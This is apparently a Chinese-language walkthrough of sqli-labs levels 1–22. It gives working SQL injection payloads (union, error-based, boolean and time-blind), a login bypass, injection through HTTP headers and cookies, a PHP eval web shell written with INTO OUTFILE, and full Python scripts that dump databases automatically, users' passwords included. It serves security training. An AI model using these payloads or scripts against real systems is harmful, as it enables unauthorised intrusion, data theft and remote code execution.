【sqli-labs】 page-1 Less 1-22
sqli-labs 1-65
基础
information_chema 库
在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于 MySQL 服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等
靶场中主要使用 tables、columns 两张表
tables 表具有table_schema
、table_name
两个字段。
table_schema
所属库table_name
表名
columns 表具有 table_schema
、table_name
、column_name
三个字段
-
table_schema
所属库 -
table_name
所属表 -
columns_name
字段名
GET 传参基于报错注入
主要目标是获取用户的账号、密码
less-1
漏洞验证
# 正常显示
http://192.168.124.16:8080/Less-1/?id=1
# 错误显示
http://192.168.124.16:8080/Less-1/?id=1'
会爆出错误
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
关键点在于 ''1'' LIMIT 0,1',这里单引号是 5 个。
如果我们再多一个单引号,或者将后面语句注释掉
?id=1''
?id=1' --+
正确显示,证明这种方法可行
原因
-- SQL 语句是这样,用单引号闭合
SELECT * FROM users WHERE id='$id' LIMIT 0,1
-- id=1'
SELECT * FROM users WHERE id='1'' LIMIT 0,1
即:'1'' LIMIT 0,1
我们输入的单引号会跟前面形成闭合,即 '1'' LIMIT 0,1 后面那个单引号没有闭合,会产生错误
这时我们考虑给多出来的单引号配对或是注释,会解决这个问题
-- id=1''
SELECT * FROM users WHERE id='1''' LIMIT 0,1
-- id=1' --+
SELECT * FROM users WHERE id='1' -- ' LIMIT 0,1
在此扩展一下如何判断单双引号以及是否含有括号闭合
常用闭合:数字型、字符型(单双引号、括号、混合)
1、数字型(没有闭合)
数字型特点:无论什么闭合都会错误
?id=1' # 错误
?id=1'' # 错误
?id=1" # 错误
?id=1"" # 错误
?id=1) # 错误
?id=1)( # 错误
2、字符型
1)单闭合
单闭合就是用单引号、双引号、括号
中的一个进行闭合,判断方法
select username,password from users where id = '$id' limit 0,1; # 单引号闭合的 sql 语句
# 输入奇数个单引号报错,可以判断原 sql 语句没有使用双引号
?id=1' # 错误
# 输入偶数个单引号正确,可以判断是使用了单引号的字符型
?id=1'' # 正确
# 双引号、括号也是同理,主要查看奇数个、偶数个差别
2)混合闭合
混合闭合稍微提升了一点难度,主要是单引号+括号、双引号+括号。单引号+括号+双引号、双引号+括号+单引号少见
select username,password from users where id = ('$id') limit 0,1; # 单引号+括号闭合的 sql 语句
# 如果输入单引号闭合
?id=1' # 报错是显而易见的
?id=1'' # 如果是两个单引号,就不会报错
# 放进 sql 语句则是,对括号似乎没有影响
select username,password from users where id = ('$id''') limit 0,1;
# 但你会在下一步报错
?id=0' union select 1,2,3--+ # 这步必报错,放进 sql 语句查看
select username,password from users where id = ('0' union select 1,2,3 --+) limit 0,1;
# 相当于,这样当然会报错
select username,password from users where id = ('0' union select 1,2,3
# 判断方法(假如是由 单引号+括号 闭合)
?id=2' # 判断单引号
?id=2' and 1='1 # 判断括号
# 我们都知道:and、or 的结果不是 1 就是 0,
# id=('1') 、id=('1' and '1'),这两种情况结果相同,但不能确定括号
# id=('2') 、id=('2' and '1'),这两种情况结果不相同,是两种结果
漏洞利用
-- 常规确定字段、爆库、爆表、爆字段
-- 确定字段数
?id=0' order by 4 --+ # 4 报错
?id=0' order by 3 --+ # 3 正确,说明一共有 3 个字段
-- 确定字段使用位置
?id=0' union select 1,2,3 --+
-- 爆库
-- 爆表
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database(); --+
-- 爆字段
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'; --+
--
?id=0' union select 1,group_concat(username),group_concat(password) from users; --+
less-2
漏洞验证
?id=1' # 错误
错误信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
奇数个单引号,跟第一题一模一样
?id=1'' # 错误
错误信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' LIMIT 0,1' at line 1
这下是偶数个单引号了,有没有可能 SQL 语句没有使用单引号
?id=1 --+ # 正确
这下对了
漏洞利用
?id=0 order by 4 --+
?id=0 order by 3 --+
剩余步骤参考 less-1
less-3
?id=1' # 错误
错误信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
'1'') LIMIT 0,1
根据错误信息一下看出使用 ')
闭合。
less-4
漏洞验证
?id=1' # 正确
似乎单引号直接闭合,试试 less-3 的闭合
?id=1') # 正确
补充知识点:如果字符串是数字在前,其他符号在后
则无视数字后的字符。
单引号不行,还剩双引号
?id=1" # 错误
错误信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
很明显,使用 ")
闭合
less-5
漏洞验证
?id=1' # 错误
单引号闭合。不显示 username、password,但有报错
updatexml()、extractvalue()、floor()、ceil()
-
updatexml()、extractvalue() 较为类似
MySQL 5.1.5 版本中添加了对XML文档进行查询和修改的两个函数:extractvalue、updatexml
updatexml(XML_document, XPath_string, new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
extarctvalue(XML_document, XPath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
两函数都是执行失败返回 xpath 错误内容
- floor()、ceil() 较为复杂,利用
rand() 的多次调用
和group by 的虚拟表
的特性。虚拟表出现重复值,会返回该值
payload
1、updatexml
# updatexml 报错
# 爆库
?id=1' and updatexml('~',concat(1,database()),'~') --+
# 爆表
?id=1' and updatexml('~',concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),'~') --+
2、extractvalue
# extractvalue 报错
# 爆库
?id=1' and extractvalue(1,concat(1,database())) --+
# 爆表
?id=1' and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
3、floor、ceil
# floor 报错
# ceil 与 floor 用法一致
# 爆库
# 写法一
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(database())))--+
# 写法二
?id=1' and (select * from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
# 爆表,只能一条一条显示,可以用 linit 获取全部数据
?id=1' and (select * from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
Less-6
用双引号闭合,与上一题一致
Less-7
'))
闭合,要求用 outfile 方式
条件:
- 数据库具有
secure_file_priv
权限(只能通过配置文件改) - 数据库具有创建/写入文件权限
靶机环境:linux 下的 docker 容器
1、查看 secure_file_priv 权限
show global variables like '%secure%'; # sql 查询 secure_file_priv 权限
cat /etc/mysql/my.cnf |grep tmp # linux 下查看配置文件 tmpdir = /tmp 就行
2、更改文件权限
chmod 777 /var/www/html/Less-7 # 这条改了不行就用下面的
chown -R mysql:mysql /var/www/html/Less-7 # linux 命令
payload
?id=1')) union select 1,1,"<?php eval($_GET[1])?>" into outfile "/var/www/html/Less-7/1.php" --+
访问 http://192.168.148.131:8080/Less-7/1.php
,出现下列界面说明导出成功(如果 payload 跟我一致)
验证一下:访问http://192.168.148.131:8080/Less-7/1.php?1=phpinfo()
刷新,成功,这下从 SQL 注入变成 RCE
盲注
盲注分为布尔盲注、时间盲注
Less-8
单引号闭合。
正确会显示You are in...........
,错误没有任何信息。非常符合盲注的特性,正确错误两个状态
漏洞验证
?id=1' and '1 # 正确
?id=1' and '0 # 错误
# 用 if 替换
?id=1' and if(2>1,1,0) # 正确
# 手工爆库,已知库名为 security,我们需要一个字母一个字母判断
# 布尔盲注
# 使用 substr 函数切片,转换成 ascii 码,二分法判断
?id=1' and if(ascii(substr(database(),1,1))>45,1,0) --+
# 不用 ascii 码判断也行
?id=1' and if(ascii(substr(database(),1,1))='a',1,0) --+
# 时间盲注
?id=1' and sleep(5) # 非常明显的延迟感
?id=1' and if(2>1,sleep(5),0) # 判断正确,延迟 5 秒,错误,没有延迟
# 利用延迟感来判断是否正确
?id=1' and if(ascii(substr(database(),1,1))>45,sleep(5),0) --+
盲注对于手工来说非常耗时,一般都是使用脚本或者 sqlmap,下面给出布尔注入的脚本,时间盲注脚本类似
python 脚本
半自动化,需要手工选择爆库、爆表、爆字段(便于理解,后面有自动化脱库脚本)
import requests
import string
# sqli-lab 用小皮搭建
url = 'http://www.sqlilabs.com/Less-8/' # 改成你的 IP
# sql 特性:大小写不敏感
# 生成由小写字母、特殊符号、数字组成的字符串。
letter = string.ascii_lowercase + string.punctuation + string.digits
letter = letter.replace('+','')
# letter = string.printable # 包含特殊字符、数字、大小写字母
index = 1 # 初始位
st = '' # 初始值
while True:
limit = 1 # 防止死循环
for i in letter:
# 爆库
data = f"?id=1' and if(substr((database()),{index},1)='{i}',1,0) --+"
# # 爆表
# data = f"?id=1' and if(substr((select group_concat(table_name) " \
# f"from information_schema.tables where table_schema=database()),{index},1)='{i}',1,0) --+"
# # 爆字段
# data = f"?id=1' and if(substr((select group_concat(column_name) " \
# f"from information_schema.columns where table_name='users'),{index},1)='{i}',1,0) --+"
# # 枚举所有 password
# data = f"?id=1' and if(substr((select group_concat(password) from users),{index},1)='{i}',1,0) --+"
# # 枚举所有 username
# data = f"?id=1' and if(substr((select group_concat(username) from users),{index},1)='{i}',1,0) --+"
respond = requests.get(url+data) # 获取页面代码
respond = respond.text # 解析成字符串类型
if 'You are in...........' in respond:
st += i # 获取正确值
limit = 0 # 防止死循环
print(f'[+]----------------位数:{index:>3}位:{i} 正确,{st}')
index += 1 # 下一位
break
if limit == 1: break # 防止死循环
print(st)
优化:不需要手动选择爆库、爆表,全自动化,只需要改 url,选择获取当前库数据,还是所有库数据
缺点:若数据库中数据过大,非常耗时,脱库应该一条记录一条记录取出,而不是一个字段一个字段取出
改进方案:多进程编码减少时间,group_concat()
改为concat_ws(group_concat())
,按记录获取数据
import requests,time
import string,json
# 记录运行时间
start_time = time.time()
# sql 特性:大小写不敏感
letter = string.ascii_lowercase + string.digits + string.punctuation
letter = letter.replace('+','')
def payloads(*args):
# 当前库
def database():
name = 'database()'
fro = ''
where = ''
return (name, fro, where)
# 所有库
def databases():
name = 'schema_name'
fro = 'from information_schema.schemata'
where = ''
return (name, fro, where)
def tables(database):
name = 'table_name'
fro = 'from information_schema.tables'
where = f"where table_schema = '{database}'"
return (name, fro, where)
def columns(table,database):
name = 'column_name'
fro = f'from information_schema.columns'
where = f"where table_name = '{table}' and table_schema ='{database}'"
return (name, fro, where)
def datas(table, column):
name = column
fro = f'from {table}'
where = ''
return (name, fro, where)
target = args[0]
match target:
case 'current_database':parameter = database()
case 'all_databases':parameter = databases()
case 'tables':parameter = tables(*args[1:])
case 'columns':parameter = columns(*args[1:])
case 'data':parameter = datas(*args[1:])
name, fro, where = parameter
len_pay = f"?id=1' and if(length((select group_concat({name}) {fro} {where}))<=[count],1,0) --+"
data_pay = f"?id=1' and if(ord(substr((select group_concat({name}) {fro} {where}),[index],1))<=[count],1,0) --+"
return len_pay,data_pay
# 发送
def send(url):
respond = requests.get(url) # 获取页面代码
respond = respond.text
return respond
# 判断
def determine(text):
return True if 'You are in...........' in text else False
def getData(url,*args):
tmp = ''
# 获取payload
pay_len, pay_data = payloads(*args)
# 获取长度,二分法
max = 1024
down1, up1 = 0, max #
for i in range(up1):
rang = [down1, up1]
le = sum(rang) // 2
# 空表判断
if i == 0:
pay = pay_len.replace('<=[count]',' is null')
if determine(send(url+pay)):return 'NULL'
# 获取长度
pay = pay_len.replace('[count]',str(le))
data = send(url+pay)
if down1+1 == max:
max *= 10
up1 = max
if determine(data):up1 = le
else:down1 = le
if up1-down1==1:break
# 获取数据
for index in range(1,up1+1):
pay1 = pay_data.replace('[index]', str(index))
down2,up2 = 31,126
for i in letter:
rang = [down2, up2]
stIndex = sum(rang) // 2
pay2 = pay1.replace('[count]',str(stIndex))
data = send(url+pay2)
if determine(data):up2 = stIndex
else:down2 = stIndex
if up2-down2==1:
tmp += chr(up2 if down2 != 32 else down2)
print(f'\r{tmp}',end='')
break
print('\r',end='')
return tmp
def run(url,target):
allData = {}
databases = getData(url, target).split(',')
print(f'[+] 目标库:{','.join(databases)}')
# 库
for database in databases:
print(f'[+] -------------------------- {database} 库 --------------------------')
allData[database] = {}
tables = getData(url, 'tables', database).split(',')
print(f'\r[+] {database} 库所有表:{','.join(tables)}')
# 表
for table in tables:
print()
print(f'[+] --------------- {database+'.'+table} 表 ---------------')
allData[database][table] = {}
columns = getData(url, 'columns', table,database).split(',')
print(f'\r[+] {table} 表所有字段:{','.join(columns)}')
# 字段
for column in columns:
allData[database][table][column] = []
# 按字段获取数据
data = getData(url, 'data', database+'.'+table, column)
allData[database][table][column].append(data)
print(f'\r[+] {column} 字段所有值:{data}')
else:print()
return allData
if __name__ == '__main__':
# sqli-lab 用小皮搭建
url = 'http://www.sqlilabs.com/Less-8/' # 改成你的 IP
# 当前库
data = run(url,'current_database')
# # 所有库
# data = run(url, 'all_databases')
print('[+] -------------------------- 所有数据 --------------------------')
print(json.dumps(data,indent=4))
end_time = time.time()
print('运行耗时:',end_time-start_time)
Less-9
单引号闭合,sql 语句不是数字型就是字符型,字符型通常用单双引号、括号闭合,或者混合闭合
漏洞验证
# 数字型尝试
?id=1 and 1=1
?id=1 and 1=2
# 字符型尝试
?id=1'
?id=1"
?id=1)
?id=1')
?id=1")
...
# 以上没有任何反应,是对是错不能分辨,报错注入、布尔盲注基本排除
# 考虑 sleep 函数是否可行
?id=1 and sleep(5) --+
?id=1' and sleep(5) --+ # 有明显延迟感觉,可以考虑时间盲注
Less-9 源代码,很明显,故意正确错误都不显示
if($row) # 正确
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}else { # 错误
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
时间盲注脚本,由于计算机速度非常快,这里只需要延迟 0.2 秒即可。半自动化
import requests
import string
import time
# sqli-lab 用小皮搭建
url = 'http://www.sqlilabs.com/Less-9/' # 改成你的 IP
# sql 特性:大小写不敏感
# 生成由小写字母、特殊符号、数字组成的字符串
letter = string.ascii_lowercase + string.punctuation + string.digits
letter = letter.replace('+','')
# letter = string.printable # 包含特殊字符、数字、大小写字母
index = 1 # 初始位
st = '' # 初始值
while True:
limit = 1 # 防止死循环
for i in letter:
# 爆库
data = f"?id=1' and if(substr((database()),{index},1)='{i}',sleep(0.3),0) --+"
# # 爆表
# data = f"?id=1' and if(substr((select group_concat(table_name) " \
# f"from information_schema.tables where table_schema=database()),{index},1)='{i}',sleep(0.2),0) --+"
# # 爆字段
# data = f"?id=1' and if(substr((select group_concat(column_name) " \
# f"from information_schema.columns where table_name='users'),{index},1)='{i}',sleep(0.2),0) --+"
# # 枚举所有 password
# data = f"?id=1' and if(substr((select group_concat(password) from users),{index},1)='{i}',sleep(0.2),0) --+"
# # 枚举所有 username
# data = f"?id=1' and if(substr((select group_concat(username) from users),{index},1)='{i}',sleep(0.2),0) --+"
start_time = time.perf_counter() # 执行开始时间
respond = requests.get(url + data) # 获取页面代码
respond = respond.text # 解析成字符串类型
end_time = time.perf_counter() # 执行结束时间
if end_time - start_time >= 0.2:
st += i # 获取正确值
limit = 0 # 代表 st 长度变化,如果 st 长度没有变化,可能是库被跑完了
print(f'[+]----------------位数:{index:>3}位:{i} 正确,{st}')
index += 1 # 下一位
break
if limit == 1: break # 防止死循环
print(st)
全自动化,Less-8 脚本随便改改
import requests,time
import string,json
# 记录运行时间
start_time = time.time()
# sql 特性:大小写不敏感
letter = string.ascii_lowercase + string.digits + string.punctuation
letter = letter.replace('+','')
def payloads(*args):
# 当前库
def database():
name = 'database()'
fro = ''
where = ''
return (name, fro, where)
# 所有库
def databases():
name = 'schema_name'
fro = 'from information_schema.schemata'
where = ''
return (name, fro, where)
def tables(database):
name = 'table_name'
fro = 'from information_schema.tables'
where = f"where table_schema = '{database}'"
return (name, fro, where)
def columns(table,database):
name = 'column_name'
fro = f'from information_schema.columns'
where = f"where table_name = '{table}' and table_schema ='{database}'"
return (name, fro, where)
def datas(table, column):
name = column
fro = f'from {table}'
where = ''
return (name, fro, where)
target = args[0]
match target:
case 'current_database':parameter = database()
case 'all_databases':parameter = databases()
case 'tables':parameter = tables(*args[1:])
case 'columns':parameter = columns(*args[1:])
case 'data':parameter = datas(*args[1:])
name, fro, where = parameter
len_pay = f"?id=1' and if(length((select group_concat({name}) {fro} {where}))<=[count],sleep(0.2),0) --+"
data_pay = f"?id=1' and if(ord(substr((select group_concat({name}) {fro} {where}),[index],1))<=[count],sleep(0.2),0) --+"
return len_pay,data_pay
# 发送
def send(url):
start = time.time()
respond = requests.get(url) # 获取页面代码
respond = respond.text
end = time.time()
return end-start
# 判断
def determine(time):
return True if time>0.2 else False
def getData(url,*args):
tmp = ''
# 获取payload
pay_len, pay_data = payloads(*args)
# 获取长度,二分法
max = 1024
down1, up1 = 0, max #
for i in range(up1):
rang = [down1, up1]
le = sum(rang) // 2
# 空表判断
if i == 0:
pay = pay_len.replace('<=[count]',' is null')
if determine(send(url+pay)):return 'NULL'
# 获取长度
pay = pay_len.replace('[count]',str(le))
data = send(url+pay)
if down1+1 == max:
max *= 10
up1 = max
if determine(data):up1 = le
else:down1 = le
if up1-down1==1:break
# 获取数据
for index in range(1,up1+1):
pay1 = pay_data.replace('[index]', str(index))
down2,up2 = 31,126
for i in letter:
rang = [down2, up2]
stIndex = sum(rang) // 2
pay2 = pay1.replace('[count]',str(stIndex))
data = send(url+pay2)
if determine(data):up2 = stIndex
else:down2 = stIndex
if up2-down2==1:
tmp += chr(up2 if down2 != 32 else down2)
print(f'\r{tmp}',end='')
break
print('\r',end='')
return tmp
def run(url,target):
allData = {}
databases = getData(url, target).split(',')
print(f'[+] 目标库:{','.join(databases)}')
# 库
for database in databases:
print(f'[+] -------------------------- {database} 库 --------------------------')
allData[database] = {}
tables = getData(url, 'tables', database).split(',')
print(f'\r[+] {database} 库所有表:{','.join(tables)}')
# 表
for table in tables:
print()
print(f'[+] --------------- {database+'.'+table} 表 ---------------')
allData[database][table] = {}
columns = getData(url, 'columns', table,database).split(',')
print(f'\r[+] {table} 表所有字段:{','.join(columns)}')
# 字段
for column in columns:
allData[database][table][column] = []
# 按字段获取数据
data = getData(url, 'data', database+'.'+table, column)
allData[database][table][column].append(data)
print(f'\r[+] {column} 字段所有值:{data}')
else:print()
return allData
def show(data):
data = str(data).replace('{','{\n').replace('}','}\n')
return data
if __name__ == '__main__':
# sqli-lab 用小皮搭建
url = 'http://www.sqlilabs.com/Less-9/' # 改成你的 IP
# 当前库
data = run(url,'current_database')
# # 所有库
# data = run(url, 'all_databases')
print('[+] -------------------------- 所有数据 --------------------------')
print(json.dumps(data,indent=4))
end_time = time.time()
print('运行耗时:',end_time-start_time)
Less-10
双引号闭合,将 Less-9 脚本中的所有单双引号对调即可
PSOT 传参基于报错注入
主要目标是登录成功
Less-11
漏洞验证
uname 1'
passwd 1234
错误信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1234' LIMIT 0,1' at line 1
我们在 uname 框输入单引号,但错误信息中1234' LIMIT 0,1
这部分似乎是我们输入的密码,而我们密码并没有输入单引号。猜测部分 SQL 语句为:
where uname = '$uname' and passwd = '$passwd' limit 0,1
原本闭合应该是这样:where uname = '1'' and passwd = '1234' limit 0,1
但实际上却变成这样:where uname = '1'' and passwd = '1234' limit 0,1
单引号闭合
如果 where 条件变成:where 1
那么相当于没有 where 条件限制
万能密码:
uname 0' or 1=1 #
passwd 1234
Less-12
")
闭合
Less-13
')
闭合
Less-14
"
闭合
Less-15 无回显
SQL 语句闭合不外乎'
、"
、)
三种或是它们组合
uname admin' and sleep(3)#
passwd 1234
'
闭合
Less-16 无回显
")
闭合
Less-17 密码重置页面
页面给出提示,很显然 SQL 语句应该是 update
[PASSWORD RESET]
后端对 uname 进行过滤,单双引号都会出现提示。可以尝试对 passwd 进行注入
uname admin
passwd 1'
报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' at line 1
有报错信息就使用报错注入
uname admin
passwd 1' and updatexml(1,concat(1,database()),1)#
updatexml 常规爆库爆表
记得将 admin 密码修改回来
HTTP 协议
Less-18
页面信息,获取了本机 IP
Your IP ADDRESS is: 192.168.124.2
uname、passwd 框,单双引号、括号都不行,用正确的账号密码登录
uname admin
passwd admin
正确登录后发现,页面获取了 HTTP 的 UA 头
Your User Agent is: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
也许可以在 UA 头搞事情
抓包,F12,再次提交正确的账号密码
1)找到网络,打开数据包
2)重发数据包(最右侧)
3)修改数据包内容,主要修改 UA 头,修改后发送
4)查看响应内容(选择最新的数据包,被选中的数据包是蓝色),有报错信息,可以使用报错注入(注意闭合条件)
5)爆库
Less-19
先正确登录,账号:admin,密码:admin
Your Referer is: http://192.168.124.16:8080/Less-19/
提示 referer ,burp 抓包
1)修改 referer 头,添加单引号,报错,说明单引号闭合
2)单引号闭合,但最后需要添加 )
爆库
Less-20
先正确登录,账号:admin,密码:admin
界面如下,提示 cookie
1)F12,找到 cookie
2)修改 cookie
3)爆库
Less-21
同样使用 admin 登录,发现 cookie 中 uname 值不是 admin
YOUR COOKIE : uname = YWRtaW4= and expires: Sun 19 Nov 2023 - 11:52:49
很典型的 base64 编码特征
方法及步骤与 Less-20 一致,将 Less-20 的 payload 用 base64 编码一下就好
Less-22
方法与步骤同 Less-21,注意闭合